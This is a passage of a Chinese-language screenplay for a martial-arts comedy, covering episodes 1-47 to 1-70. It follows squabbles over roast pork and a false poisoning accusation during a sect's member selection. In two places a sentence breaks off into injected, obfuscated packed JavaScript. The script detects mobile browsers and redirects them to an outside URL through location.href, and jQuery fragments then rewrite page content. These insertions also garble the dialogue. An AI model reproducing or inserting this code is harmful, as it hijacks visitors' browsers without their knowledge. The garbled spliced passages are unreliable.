洛宁:没事儿!等咱们吃完了这顿肉,他身上的毒自然就解了。 1-47 天地会分会,厨房(夜,内) 人物:洛宁、银华、余守泰、金鹏、顺儿 洛宁说得没错,烤肉吃完时,顺儿身上的毒也解了。 顺儿:(哭丧着脸)洛姑娘,我要是空着手回去,没法儿跟少爷交差呀! 银华:早说嘛!我们都已经吃完了! 顺儿:(有苦说不出)我…… 余守泰:那个…… 洛宁:什么? 余守泰:其实……还有一条猪尾巴。 顺儿:余守泰,既然还有一条猪尾巴,你怎么不早拿出来?是不是想留着自己吃呀? 余守泰:我怕洛姑娘吃不惯这东西,所以没敢拿出来。 银华:顺儿,不是有句话叫吃哪补哪吗?你家少爷的屁股刚刚挨了打,吃这个最好了! 顺儿:你们……你们这样欺负我,就不怕被少爷知道了?你们可别忘了,这里是陆府,不是洛府! 洛宁:说对了!有件事我不得不提醒你们,我和银华来这里的事情,只有你们三个人知道,如果再有第四个人知道的话…… 余守泰:(会意地点点头)洛姑娘您放心,我们一定不会说出去。 顺儿:肉被你们吃了,还不许我说出去,凭什么呀? 银华:(两眼一瞪,给了顺儿一巴掌)就凭你今天输了!哼! 1-48 天地会分会,柴房(夜,内) 人物:余守泰、金鹏 洛宁、银华、顺儿离开后,兄弟俩方才回屋睡下。 余守泰:唉,我算是长见识了! 金鹏:什么? 余守泰:之前我听陆公子一口一个宁妹妹,还以为洛姑娘是个病西施,今日一见方才知道,也是个不好惹的角色。以后咱们兄弟俩再遇上她,可得小心点儿! 金鹏:(笑)哥,你又不跟她抢肉吃,怕什么呀? 余守泰:我倒不是怕,我只是在想,若能跟她搞好关系,以后咱们进了总会,不就有个依靠了吗? 金鹏:哥,要我说你还是别想了!你没听他们说吗?人选早就定下了,是刘立鸿! 余守泰:那就更要争一争了!像刘立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007351|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸿这种人,若是进了总会,那才是真正的大麻烦呢! 1-49 陆府,陆通的屋子(夜,内) 人物:陆通、顺儿 望着盘子里的猪尾巴,陆通微微一愣。 陆通:你去了这么久,就给我带回了一条猪尾巴? 顺儿:那个……天太热了,肉放到晚上都臭了,就只剩下这条猪尾巴还是好的。 陆通:这样啊,那行,先将就着吃吧。(拿起猪尾巴咬了一口)咦,这玩意儿还挺香,以后你让他每天都给我弄一条! 顺儿:(忙不迭点头)哎,好嘞! 1-50 天地会分会,厨房(夜,内) 人物:余守泰、金鹏 余守泰正在厨房里忙活,金鹏从外面进来。 余守泰:咦,你不是在练功吗?怎么这么早就回来了? 金鹏:我怕他们今晚又要来。 余守泰:(笑)那你倒是说说,他们是来的好、还是不来的好? 金鹏:(摸摸头)这个嘛…… 余守泰:嘿嘿,小子,别装了!哥知道你在想什么,是不是想见洛姑娘? 金鹏:(脸一红)哥,你胡说什么呢! 余守泰:嘿嘿,昨晚你虽然躺在床上,却是翻来覆去、一夜都没睡着,是不是还惦记着人家呀? 金鹏:(害羞地笑了)那个……我是觉得这姑娘挺有意思。 余守泰:你呀你,以前在格斗场上,也有姑娘跟你套近乎,可惜你就是不开窍!如今好不容易遇上了一个自己喜欢的,人家却连你的名字都不知道。唉! 金鹏:先别说我了,你把肉准备好了吗? 余守泰:不仅准备好了,还多准备了一块,这样他们就不用争了。 金鹏:陆公子今晚也要吃吗? 余守泰:昨晚的那条猪尾巴,只够他解解馋,你就等着瞧吧,他肯定会来! 1-51 天地会分会,厨房(夜,内) 人物:余守泰、金鹏、洛宁、银华、顺儿 余守泰说得没错,陆通果然又派顺儿来了,与此同时,洛宁和银华也如约而至。 顺儿:太好了!今晚有两块肉,正好咱们一人一块! 银华:说得没错!(冲着洛宁挤挤眼)丫头,正好咱俩一人一块! 顺儿:银公子,您弄错了!我的意思是,您跟洛姑娘吃一块,我家少爷吃一块。 银华:我跟她两个人吃一块? 顺儿:对呀,你俩昨晚不就是这样吃的吗? 银华:可我俩昨晚没吃饱啊! 顺儿:那个……我家少爷昨晚也没吃饱。 银华:那可怎么办呀?丫头,你来说说,这两块肉咱们该怎么分? 洛宁:还是照老规矩来吧。 顺儿:老规矩? 洛宁:(指了指自己和银华)二选一,谁赢了归谁。 银华:还选什么呀!昨儿是你,今儿让我来,明儿再换上你,不就行了?(笑着对顺儿)嘿嘿,小子,怎么样?要不要我让你三招? 顺儿傻了眼,心想只要有这二位在,陆通想吃上一顿烤肉,怕是难了。 1-52 天地会分会,厨房(夜,内) 人物:余守泰、金鹏、洛宁、银华、顺儿 顺儿被绑在柱子上,用抹布堵住嘴,苦不堪言。 洛宁和银华一人一盘烤肉,吃得正香。 余守泰趁机向二人介绍金鹏。 余守泰:洛姑娘、银公子,这是我弟弟,他叫金鹏,你们要是想喝点儿什么,尽管吩咐他便是。 洛宁:他叫金鹏,你叫余守泰,你俩不是亲兄弟呀? 银华:他俩的岁数相差这么大,怎么可能是亲兄弟?他要是不说的话,我还以为他是他爹呢! 余守泰:其实我俩原本不是一家人,只因十五年前,在庸州那个地方,闹了一场大瘟疫,我俩的家人都死了,这才搭伴儿在一起过日子。 洛宁:噢,原来是这样。不过我看你俩的关系挺不错,虽然不是亲兄弟,却胜似亲兄弟。 余守泰:嘿嘿,这也算是一种缘分吧!(朝金鹏使了个眼色)那个……鹏子,你不是说有事想向银公子请教吗? 金鹏:(微微一愣)我?什么呀? 余守泰:你这个孩子,怎么一点儿也不走心呀?上回你被刘立鸿给打了,那一招不是还没想明白吗?银公子可是天地会第一高手…… 洛宁:(一听便笑了)天地会第一高手?哈哈哈!银华,你要是天地会第一高手的话,顾云飞怎么办呀? 银华:余大哥,你说错了,天地会第一高手不是我! 余守泰:就算不是第一,第二第三总是吧?更何况您是从总会来的,分会教的这些功夫,您早就会了! 银华:你俩不是分会的弟子吗?谁是你们的师父? 金鹏:哦,是刘立鸿。 银华:你师父打了你,却没教你怎么拆招? 余守泰:那天正赶上师父有事,先走了,还没来得及问。 银华:这样啊。那行,你练给我看看,是什么招式? 金鹏点点头,走到银华面前,将之前与刘立鸿交手的招式演示了一番。 银华:想破解这一招,倒也不难。(环顾四周)额,这个地方太窄了,走!咱俩到外面去,我给你讲讲。 银华和金鹏出去后,洛宁回过头,瞅了一眼柱子上的顺儿。 洛宁:余大哥,还有猪尾巴吗? 余守泰:有,我给陆公子留着呢! 洛宁:那敢情好!有了这个,相信陆公子的病,很快就能好了! 1-53 陆府,陆通的屋子(夜,内) 人物:陆通、顺儿 望着盘子里的猪尾巴,陆通皱起眉头。 陆通:又是一条猪尾巴?顺儿,你是不是把我的意思传达错了? 顺儿:怎么会呢,我可是照您的原话说的。 陆通:什么原话? 顺儿:让余守泰每天都给您弄一条猪尾巴呀! 陆通:所以你就每天只给我带回了一条猪尾巴?臭小子,你什么意思?是不是见我的屁股开了花,所以故意拿这条猪尾巴来嘲笑我呀? 顺儿:(委屈地)少爷,我哪敢嘲笑您呀! 陆通:那你倒是说说,肉呢?总不能又臭了吧? 顺儿:那个……天太热了,谁也没办法! 陆通:又怪上老天爷了是吧?得得得,我不吃猪尾巴了!明天一大早,你就过去一趟,把那头大黑猪给我弄过来! 顺儿:活的呀? 陆通:没错!就要活的!哼! 5. 第一篇 贵客来了 锦州,丰饶城 1-54 天地会分会,厨房(日,外) 人物:余守泰、刘恩庆、顺儿 早上,大黑猪被送来时,刘恩庆也来了。 刘恩庆:余守泰,你那腌肉的方子里都有些什么?怎么会那么香?该不会有什么稀罕的东西吧? 余守泰:嘿嘿,刘管家,瞧您说的!我一个小老百姓,能有什么稀罕的东西呀?不过是这样那样的佐料都放一点,自然就是那个味儿了。 刘恩庆:不肯说是吗?得得得,我也不为难你!不过余守泰,这猪都已经送过来了,怎么还不杀呀? 余守泰:刘管家,您有所不知,这猪我一个人杀不了,要等我弟弟从练武场上回来了,他的力气大,一个人能顶上几个人,两只大手一抓,这猪就不敢动了。 刘恩庆:等他回来就晚了!不瞒你说,一会儿我也要去练武场。 余守泰:哦,有事吗? 刘恩庆:还不是为了选人的事!会长今天要跟他们讲规矩,让我把分组的名单发给他们。 余守泰:哦,这样啊,那我弟弟…… 刘恩庆:(笑着拍拍余守泰的肩膀)嘿嘿,你放心!这么好的事,我怎么会忘了他?不仅如此,我还给他分了一个好组,里面都是些小虾米,他轻轻松松地就能赢过他们。 余守泰:刘管家,您对咱们兄弟俩可真是太够意思了!您放心,这猪我杀了之后,立马就把最新鲜的肉给您送过去! 刘恩庆:不行,我老婆还在家里等着呢! 余守泰:怎么?您家里有事呀? 刘恩庆:我老丈人不是来了吗?我老婆想做一顿好吃的,孝敬他老人家。这不一大早,就催着我来了吗? 余守泰:哦,这样啊,可这猪我一个人杀不了…… 刘恩庆:我来给你帮忙! 余守泰:这猪的力气大得很,您一个人怕是摁不住它。 刘恩庆:不就是个畜生吗?只要用绳子把它拴紧了,它想跑也跑不了! 余守泰:那……行吧,既然您急着要吃,咱们就不等鹏子了,先把它杀了! 余守泰用绳子拴着猪,把另一头递给刘恩庆,二人费了老大的劲儿,才把猪摁住,余守泰举起刀,这就要砍下去,却听那边传来一声吼:“不许杀!”顺儿飞扑过来,用身子护住那头猪,余守泰的刀差点儿落在了他的身上,刘恩庆吓得双手一抖,绳子散开,那猪趁机甩掉顺儿,撒腿跑了…… 1-55 天地会分会,练武场(日,外) 人物:陆平川、风无行、余守泰、金鹏、刘恩庆、顺儿、弟子若干 陆平川将弟子们召集到一处,向他们讲解会选的事宜。 陆平川:风堂主来咱们这里的目的,想必大家早就知道了。以往的会选,只允许老弟子参加,但这次不一样,无论是老弟子还是新弟子,都可以参加。这对你们来说,可是一个很好的机会。不管能不能选上,彼此之间切磋一下,也能检验一下自己的修为,取长补短嘛!出于公平起见,初选将分成三组。入会不满五年的弟子为第一组,入会满五年不满十年的弟子为第二组,入会满十年的弟子为第三组,先在组内进行比试,获胜者方可进入下一轮的选拔…… 一头大黑猪闯进了练武场,将弟子们的阵形打乱。 金鹏(内心独白):呀,这不是…… 大黑猪的后面,跟着余守泰、刘恩庆和顺儿,嘴里嚷嚷着:“快抓住它!别让它跑了!”弟子们一拥而上,制伏了大黑猪,用绳子将它捆结实。 陆平川:哪里来的大黑猪? 见陆平川发火,余守泰和顺儿吓得不敢吱声,刘恩庆急忙上前赔笑脸。 刘恩庆:老爷,您别生气!这头大黑猪是我刚刚买回来的,正打算给风堂主当下酒菜,却不料绳子断了,这才被它跑了出来!唉! 风无行:(轻轻一笑)陆会长,这么大的一头猪,我一个人可吃不了,不如把它炖了,给大家每人分一碗吧。 陆平川:嗯,也行。刘恩庆,这件事就交给你了。 刘恩庆:是,老爷! 1-56 陆府,陆通的屋子(日,内) 人物:陆通、顺儿 顺儿灰头土脸地回来了,将大黑猪跑进练武场的事,讲给陆通听了。 陆通:你说什么?给每个人分了一碗?那我呢?有没有? 顺儿:少爷,您不是分会的弟子,怎么会有您的份儿呢? 陆通:这么说,我连猪尾巴都吃不上了?呜呜,老天爷,我恨你! 1-57 天地会分会,厨房(夜,内) 人物:洛宁、银华、余守泰、金鹏 洛宁让银华去叫顺儿,银华去了半天,又独自回来了。 洛宁:怎么只有你?顺儿呢? 银华:他怕你找他的茬儿,躲在陆通的屋子里不敢出来了。 洛宁:哼,胆小鬼! 余守泰:洛姑娘、银公子,真对不住!其实我原打算给你们留两块肉,奈何杀猪的时候,刘管家一直在旁边盯着,我想偷拿都没机会。 银华:这个不怪你,要怪就只能怪顺儿。你说他一大早跑来这里干什么呀?那个时候,陆通还没睡醒呢,他总不能连做梦都想吃你做的烤肉吧? 洛宁:嘻嘻,余大哥,你的手艺这么好,为何不自己开一家店呢? 余守泰:开店的话,需要本钱,我们哥俩哪有呀? 银华:你俩不是今年才入会的吗?在此之前,是干什么的? 余守泰:哦,我俩给别人赶车、拉货,只要能挣钱,什么都干。 洛宁:既如此,又为何要学武? 银华:是啊,昨儿我跟金鹏过了两招,发现他的身手挺不错,赶车拉货的话,应该没学过武吧? 余守泰:在我们家隔壁,住着一位拳师,他见鹏子的底子还行,就教了他两招。 洛宁:原来是这样。银华,你跟金鹏交过手之后,觉得他这回有没有可能进入总会? 银华:你想听真话还是假话? 洛宁:实话实说。 银华:他过得了初选,但会在复选的时候被淘汰掉。 洛宁:为何这样说? 银华:今天在练武场上,陆会长不是说了吗?初选的话,会对新老弟子进行分组,这就意味着,金鹏的对手只有新弟子,并且都是入会不满五年的,他的功夫在这些人当中,属于上乘,应该能很轻松地通过初选。 洛宁:复选呢?为何会被淘汰掉? 银华:因为复选的方式,跟初选不太一样。 洛宁:有何不同? 银华:既然你们想知道,我给你们透露一点儿也无妨。 洛宁:你快说吧! 银华:我听风老大跟陆会长商议,复选将采用挑战赛的方式。 洛宁:挑战赛? 银华:就是把新老弟子混在一块儿,让他们互相挑战。 余守泰:互相挑战?这样的话,对新弟子来说,好像不太公平呀! 银华:优胜劣汰嘛!天地会以武起家,功夫太差的话,连分会都待不下去,更别说总会了。 洛宁:银华,你可不要忘了,这回是和敬堂选人,不是恩威堂选人。 银华:若是恩威堂选人,难度会更大! 洛宁:最后的决选呢?又有何不同? 银华:这个还不清楚,风老大没说。 1-58 天地会分会,柴房(夜,内) 人物:余守泰、金鹏 洛宁和银华离开后,兄弟俩方才回屋睡下。 余守泰:唉,鹏子,哥想好了!打明儿起,咱们就不再给刘恩庆送礼了。 金鹏:(开玩笑地)你就不怕他把我的名字给漏掉了? 余守泰:参选的名单已经公布了,你的名字就在上面,他这会儿想改也来不及了。 金鹏:接下来呢?你就不怕他使坏? 余守泰:随他去吧!反正你也过不了复选,何必再浪费那些肉呢! 金鹏:噢,弄了半天你是在心疼肉呀? 余守泰:我是在心疼你呀!你这个孩子,样样都好,就是命不好,生在了一个穷家。你要是能像陆公子那样…… 金鹏:我命由我不由天!生在穷家,只是个起点,又不是终点,将来会怎样,谁也不知道。不过我相信,靠我自己的努力,一定能创造奇迹! 余守泰:咦,怪了!你以前可从未这样说过,怎么突然就变得这么有干劲儿了?嘿嘿,是不是因为洛姑娘呀? 金鹏:嘿嘿,她占了一半儿。 余守泰:哦,另一半儿呢? 金鹏:我想成为银公子那样的人。 余守泰:银公子?也是啊,你瞧瞧他那一身行头,比陆公子还要显贵,由此可见,总会的条件比分会要好太多了! 金鹏:不仅仅是因为这个。 余守泰:还有什么? 金鹏:以前我没什么志向,只想在格斗场上混一辈子,挣点儿小钱,能让咱们哥俩吃饱穿暖,也就够了。自打认识了洛姑娘和银公子,我才觉得自己的眼界实在是太窄了,我不想再当井底之蛙,我也想出去闯一闯。 余守泰:呵呵,你能有这样的想法,可真是太好了!鹏子,你还年轻,就算这回选不上,以后还有机会!只要你不说放弃,哥就永远支持你! 1-59 天地会分会,洛宁居住的客房(日,内) 人物:洛宁、顺儿 洛宁一打开门,就看见顺儿跪在面前,吓了一跳。 洛宁:唉呀妈呀!顺儿?你跪在这里干嘛?哭丧啊? 顺儿:洛姑娘,我错了!求求您原谅我吧! 洛宁:我问你,昨儿为何一大早就过去了? 顺儿:这是我家少爷的意思。 洛宁:陆通?他要一头活猪干嘛?想生吃呀? 顺儿:我家少爷说,既然肉放久了会臭,不如先留着它的性命,到晚上吃的时候再杀。 洛宁:现吃现杀吗?倒也是个办法。 顺儿:可晚上杀猪的话,怕是会惊扰旁人。所以我家少爷,又想了另一个办法。 洛宁:你家少爷的事可真多!说吧,什么办法? 顺儿:□□的厨房里有一个冰窖,咱们可以把猪杀了,肉存在那里,到晚上吃的时候再拿出来。 洛宁:他怎么不早说? 顺儿:我家少爷也是才想起来! 洛宁:(嘟哝)果然是个猪脑子!(又接着问)不过顺儿,你家少爷能等到晚上吗?他要是先吃了怎么办? 顺儿:这个您放心!大夫特意嘱咐过,让他的饮食一定要清淡些。白天有夫人在旁边盯着,他想吃也不敢说,只能等到晚上夫人睡下之后,才敢偷偷地吃一点儿。 洛宁:偷偷地吃一点儿?他想吃多少? 顺儿:要不咱们一人一半? 洛宁:陆通只有一个人,我和银华可是两个人。 顺儿:这头猪是我家少爷出钱买的! 洛宁:分会的钱还是我哥出的呢!要不要我回去跟他说,下次少给点儿呀? 顺儿:唉,罢了,还是您说怎么分吧。 洛宁:一人一份!我跟银华算两份,陆通算一份。 顺儿:唉,行吧,就这么办。(转身要走,被洛宁叫住) 洛宁:等等,先别走! 顺儿:洛姑娘,您还有什么事? 洛宁:你在陆通面前,有没有说是我们吃了? 顺儿:嘿嘿,我告诉他,肉被余守泰兄弟俩给私吞了。 洛宁:这样啊,好像有点儿不太厚道。 顺儿:那要怎么说? 洛宁:唉,你就这么说吧。大不了晚上吃肉的时候,我把他们兄弟俩也叫上,这样不就坐实了嘛! 协商好了之后,双方便不再起争执。到了晚上,顺儿带走陆通的那一份,剩下的两份,由洛宁、银华和兄弟俩共享。他们在厨房里小聚,吃吃喝喝、说说笑笑,很快便熟了。 1-60 天地会分会,练武场(日,外) 人物:风无行、陆平川、刘恩庆、金鹏、弟子若干 初选开始。 金鹏的表现十分出色,很快便引起了风无行的注意。 风无行:(指着场上的金鹏)咦,那孩子是谁? 刘恩庆:回风堂主的话,他叫金鹏,是今年新招的弟子。 风无行:新招的弟子?可我看他的拳脚功夫,不像是刚刚学武。 陆平川:呵呵,那是因为他的运气好,有刘立鸿当他的师父。 风无行:刘立鸿?就是你昨天跟我说的那个? 陆平川:正是他!在老弟子里面,他的功夫最好;在新弟子里面,他又是最好的师父,教出来的弟子,个个都十分了得。 风无行:这样啊。(点点头)嗯,明白了。 1-61 刘恩庆家(夜,内) 人物:刘恩庆、刘立鸿 见桌上摆着几道没有油水的小菜,刘立鸿皱起眉头。 刘立鸿:哥,嫂子今儿怎么没炖肉呀? 刘恩庆:巧妇难为无米之炊!连肉都没有,拿什么炖呀? 刘立鸿:怎么?余守泰没给你送吗? 刘恩庆:自打那天猪跑了之后,他就没再送了。我去找他,他跟我扯东扯西、扯来扯去,就是不提肉的事。 刘立鸿:不识好歹的家伙! 刘恩庆:他弟弟眼看着就要进入复选了。这还没飞上枝头,就已经不把咱们放在眼里了,日后若飞上了枝头,岂不是要把咱们踩在脚下了? 刘立鸿:就凭他?想都别想! 刘恩庆:他的功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007352|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫是不如你,可有件事,我不得不告诉你。 刘立鸿:什么? 刘恩庆:我听说,这几日他们兄弟俩天天晚上都跟洛姑娘和银公子在一起,他弟弟还时不时地向银公子请教两招呢! 刘立鸿:有这等事? 刘恩庆:是啊,我也觉得挺意外。虽然老爷在风堂主面前极力举荐你,可洛姑娘和银公子的话,风堂主也不会不听呀。 刘立鸿:唉,我原以为这回进入总会是十拿九稳的事,却不料半路上竟杀出了一个程咬金! 刘恩庆:好兄弟,别着急!他们有本事,咱们就没本事了?姜还是老的辣!到底谁能笑到最后,咱们走着瞧! 1-62 天地会分会,练武场(日,外) 人物:金鹏、牛力、弟子若干 初选的最后一场较量,正在进行中。 与金鹏交手的那个弟子,名叫牛力,突然喷出一口黑血,倒在了地上。弟子们面面相觑:“怎么回事?”众人把目光投向金鹏,他也是一脸懵。一位年长的弟子上前看了看,皱着眉头说:“好像是中毒了!”就在这时,也不知是谁喊了一声:“快救人!”众人这才手忙脚乱地把牛力抬起来,送去就医。 1-63 天地会分会,客厅(日,内) 人物:陆平川、风无行、洛宁、银华、金鹏、赵大夫、刘恩庆 赵大夫从外面进入屋里。 陆平川:他怎么样? 赵大夫:尚无性命之忧,只不过…… 陆平川:只不过什么? 赵大夫:因为不知道他中了什么毒,所以一时无法给他解毒。 陆平川将脸扭过来,神色严厉地望着金鹏。 陆平川:金鹏!他可是在与你交手时突然倒下去的,我想你应该不会不知道他中了什么毒吧? 金鹏:会长,难道连您也认为是我给他下了毒?那您倒是说说,我为何要这么做? 刘恩庆:因为你想赢嘛! 金鹏:我想赢的话,一定会堂堂正正地赢,绝不会用这种下三滥的手段! 刘恩庆:事实摆在面前,毒就是你给他下的!场上那么多人全都看到了,还有什么可狡辩的! 金鹏:你…… 金鹏气得说不出话来,刘恩庆趁机怂恿陆平川和风无行。 刘恩庆:老爷、风堂主!这家伙坏了咱们的规矩,不能再让他参加会选了! 金鹏:你胡说!我没给他下毒! 刘恩庆:这回是下毒,下回谁知道又要干出什么伤天害理的事…… 陆平川:(摆手打断)行了!都别说了!还是听听风堂主的意思吧!风堂主,你来说说,这件事该怎么办? 风无行:他到底是怎么中的毒、中了什么毒,目前都还不清楚。宁儿,要不你跟赵大夫一起去看看吧。 洛宁:嗯,好! 1-64 天地会分会,牛力的屋子(日,内) 人物:洛宁、赵大夫、牛力 洛宁查看了牛力的伤势,发现他的汗衫上有一滴黄色的水渍,便拿起来细细一瞧,跟着笑了笑,走到桌前,开出了一张药方。 洛宁:赵大夫,您先按照这个方子给他治一治,看能不能解毒。 赵大夫:好! 牛力吃过药之后,毒竟然解了。 赵大夫:洛姑娘,他到底中了什么毒?你怎么一眼就看出来了? 洛宁:赵大夫,这件事怕是要当着风堂主和陆会长的面,才能说得明白。 1-65 天地会分会,客厅(日,内) 人物:陆平川、风无行、洛宁、银华、金鹏、赵大夫、刘恩庆、牛力 洛宁、赵大夫带着牛力从外面进来,见他已无大碍,众人有些惊讶。 风无行:咦,这么快就没事儿了?丫头,他中了什么毒?你查清楚了吗? 洛宁:在此之前,能不能先让我问他几个问题? 风无行:(点点头)嗯,你问吧。 洛宁走到牛力的面前,开始询问。 洛宁:这位大哥,你还记得刚刚发生的事情吗? 牛力:记是记得,就是觉得有点儿意外。 洛宁:为何这么说? 牛力:(指着金鹏)他打了我一拳,没过多久,我的胸口就像火烧一般,跟着眼前一黑,便什么都不知道了。 洛宁:这么说,你是在被他打过之后,才觉得不舒服的? 牛力:正是。 金鹏:你胡说!我的手上根本就没毒,如果有的话,我自己为何没中毒? 刘恩庆:你要给人家下毒,自己肯定早就喝下解药了! 金鹏:我长这么大,从不曾给人家下过毒,也不懂得怎么解毒! 刘恩庆:这么说,你是大姑娘上轿头一回呀?为了赢,不惜陷害同门师兄,在咱们天地会里,容不下你这样的败类! 金鹏:你才是败类呢! 陆平川:都给我住嘴!听洛姑娘把话说完! 金鹏愤愤地瞪着刘恩庆,二人都不再说话,又听洛宁接着问牛力。 洛宁:这位大哥,你在与他交手之前呢?有没有过这种情况? 牛力:从未有过。 洛宁打开帕子,里面有一个茶杯。 洛宁:这位大哥,这只杯子是我刚刚在你屋里发现的,你平常都是用它来喝水吗? 牛力:哦,我瞧瞧……(眯起眼看了看)是的,这就是我的杯子,我早上还用它喝过水。 洛宁:(把杯子递给赵大夫)赵大夫,您来帮我看看,这上面是什么? 赵大夫接过杯子,见杯壁上有一些黄色的水渍,便仔细地瞧了瞧。 赵大夫:这是……莫愁花的花粉? 洛宁:嗯。我正是因为看见了它,才写下了那个药方。 赵大夫:这么说,他中了莫愁花的毒?既如此,这件事就不是这个小伙子干的。 陆平川:为何这么说? 赵大夫:陆会长,莫愁花虽然有毒,但毒性的发作却十分缓慢,要等到两个时辰之后,才能见分晓。 风无行:也就是说,他在与金鹏交手之前,就已经中毒了? 赵大夫:(点头)是这样的。 陆平川:(厉声)牛力,你为何要撒谎?你到底是怎么中的毒?为何要陷害金鹏? 牛力:(心虚)我……我…… 陆平川:你若不肯说,就别想再参加会选了! 牛力:会长,这事怪我!是我一时糊涂!我怕打不过金鹏,不得已才想出了这一招。 陆平川:打不过的话,就认输,没什么可丢脸的!用这种下三滥的手段,就算能通过初选,也通不过复选! 牛力:是是是,弟子知错了! 风无行:陆会长,既然已经查明了真相,那就让金鹏接着参加会选吧! 6. 第一篇 贵客来了 锦州,丰饶城 1-66 天地会分会,厨房(夜,内) 人物:洛宁、银华、金鹏、余守泰 洛宁替金鹏洗刷了冤屈,余守泰对此感激不尽。 余守泰:洛姑娘,今日幸亏有您,不然的话,我家鹏子可就被他们给害了! 洛宁:他们? 余守泰:哦,不不不,我说的是牛力。 见余守泰的眼神有些闪躲,洛宁便不再追问。 银华:金鹏,接下来的复选,你打算先挑战谁? 金鹏:(想都没想脱口而出)刘立鸿! 银华:你呀你,怎么专挑硬骨头啃呀?要我说,这事不能急! 余守泰:银公子说得没错!鹏子,你先找一个跟自己差不多的对手,一步一步地慢慢来! 金鹏:就算我想这样,刘立鸿也未必肯放过我。如果他先挑战我呢? 银华:参加复选的人,都有一次拒绝挑战的机会,但也只有这么一次。 洛宁:那就拒绝他好了!这样的话,胜算会大一点儿! 金鹏:我不想当懦夫!就算是输,我也不会让他觉得我怕了他!哼! 1-67 陆府,陆通的屋子(夜,内) 人物:陆通、顺儿 得知金鹏通过了初选,陆通很不高兴。 陆通:分会里那么多弟子,就没有一个能打败他吗?真他妈是一群废物! 顺儿:少爷,您别着急!接下来还有复选和决选,他能赢得了新弟子,却未必能赢得了老弟子。更何况…… 陆通:更何况什么?你快说呀! 顺儿:我听那些进入复选的弟子们商议,像是要把金鹏给踢出去。 陆通:踢出去?怎么个踢法? 顺儿:他们打算向风堂主请愿,拒绝接受金鹏的挑战。 陆通:也就是说,没人愿意跟他打? 顺儿:正是。 陆通:哈哈,干得好!一旦没了对手,他就算是个绝顶的高手,也过不了复选!哈哈! 1-68 天地会分会,风无行居住的客房(夜,内) 人物:风无行、洛宁 顺儿说得没错,参加复选的弟子果然纷纷向风无行请愿、不肯与金鹏交手,得知此事,洛宁感到不解。 洛宁:怎么会这样?他们为何要这样做? 风无行:我也觉得挺意外。按理说,金鹏才来这里没多久,应该不会跟他们有什么过节。可这些人就像是商量好了,都不肯跟他打,理由是不想背黑锅。 洛宁:之前的事,不是已经澄清了吗? 风无行:他们有他们的顾虑。 洛宁:这样的话,对金鹏很不公平。陆伯伯呢?他怎么说? 风无行:他说这回是和敬堂选人,理应由我来决定。 洛宁:这样反倒好办了!你动用堂主的权力,强迫他们跟金鹏打,不就行了? 风无行:我不想强迫任何人。 洛宁:也包括我姐吗?无行大哥,你想当我的姐夫,光靠等是没用的。 风无行:(笑望着她)那你说说该怎么办? 洛宁:主动出击呀! 风无行:主动出击?呵呵,有了! 洛宁:有了?什么呀? 风无行:既然他们都不肯跟金鹏打,咱们再给他找一个对手,不就行了? 洛宁:这可是复选,人家都是一打五十,他却是一打一,说得过去吗? 风无行:找一个公认的高手,不就行了? 洛宁:公认的高手?谁呀?你吗? 风无行:我已经很多年没跟人打过架了,怕出丑。 洛宁:真的吗?我怎么觉得你是怕出事呢? 风无行哈哈大笑。 洛宁:未来姐夫,你先别笑了,快告诉我那个人是谁! 风无行:远在天边,近在眼前。 1-69 天地会分会,厨房(夜,外) 人物:金鹏、银华、洛宁 金鹏垂头丧气地坐在门前的台阶上。银华背靠着墙,双手抱在胸前,也跟着眉头紧皱。 金鹏:唉,其实我压根儿就没想过要参加这次的会选。 银华:那又为何要参加? 金鹏:我哥劝我这么做。 银华:他劝你这么做,你就这么做呀?他又不是你的亲哥,你干嘛要听他的? 金鹏:我快要饿死的时候,是他给了我一碗饭吃,他对我来说,就是再生父母。 银华:唉,其实我也跟你一样,没爹没娘。总会长在山上闭关的时候,从雪地里捡到的我,当时我还是个襁褓中的婴儿,我的名字就是他给我取的。 金鹏:这样啊,真没想到! 二人对视,竟有些惺惺相惜,就在这时,洛宁来了。 银华:怎么样?风老大怎么说? 洛宁:(望着金鹏)刚刚,风堂主给你找了一个对手。 银华:哦,有人愿意跟他打了? 金鹏:谁呀? 洛宁没有回答,而是把目光转向银华,银华倏地一愣。 银华:我?(见洛宁点点头)开什么玩笑!我跟他打?我只需一招就能把他给撂倒了! 金鹏:真的吗?要不咱俩这就来试试? 洛宁:唉,这么晚了,你俩还是歇歇吧!(对着金鹏)风堂主说了,只要在五个回合之内,你能不被他打倒,就算通过了。 金鹏:五个回合? 洛宁:嗯。 银华:风老大呀风老大,你也太小看我了!五个回合?这么多?足够我把他打倒一百次了! 金鹏:银华,话别说早了! 银华:早说晚说,结果都一样! 金鹏:呵呵,那咱们就赛场上见吧! 1-70 天地会分会,走廊上(夜,外) 人物:洛宁、银华 回客房的路上,洛宁问银华。 洛宁:银华,我问你,如果金鹏去了凤凰城,他哥会不会也跟着去? 银华:这还用问吗?他们兄弟俩的感情那么好,怎么可能会分开? 洛宁:如果他哥去了凤凰城,这是否意味着,咱们天天都能吃到美味的烤肉了? 银华:嘿嘿,他哥的烤肉做得确实挺好吃,不过他弟弟要是进不了总会的话,他也去不成呀! 洛宁:你在复选中给他帮帮忙不就行了! 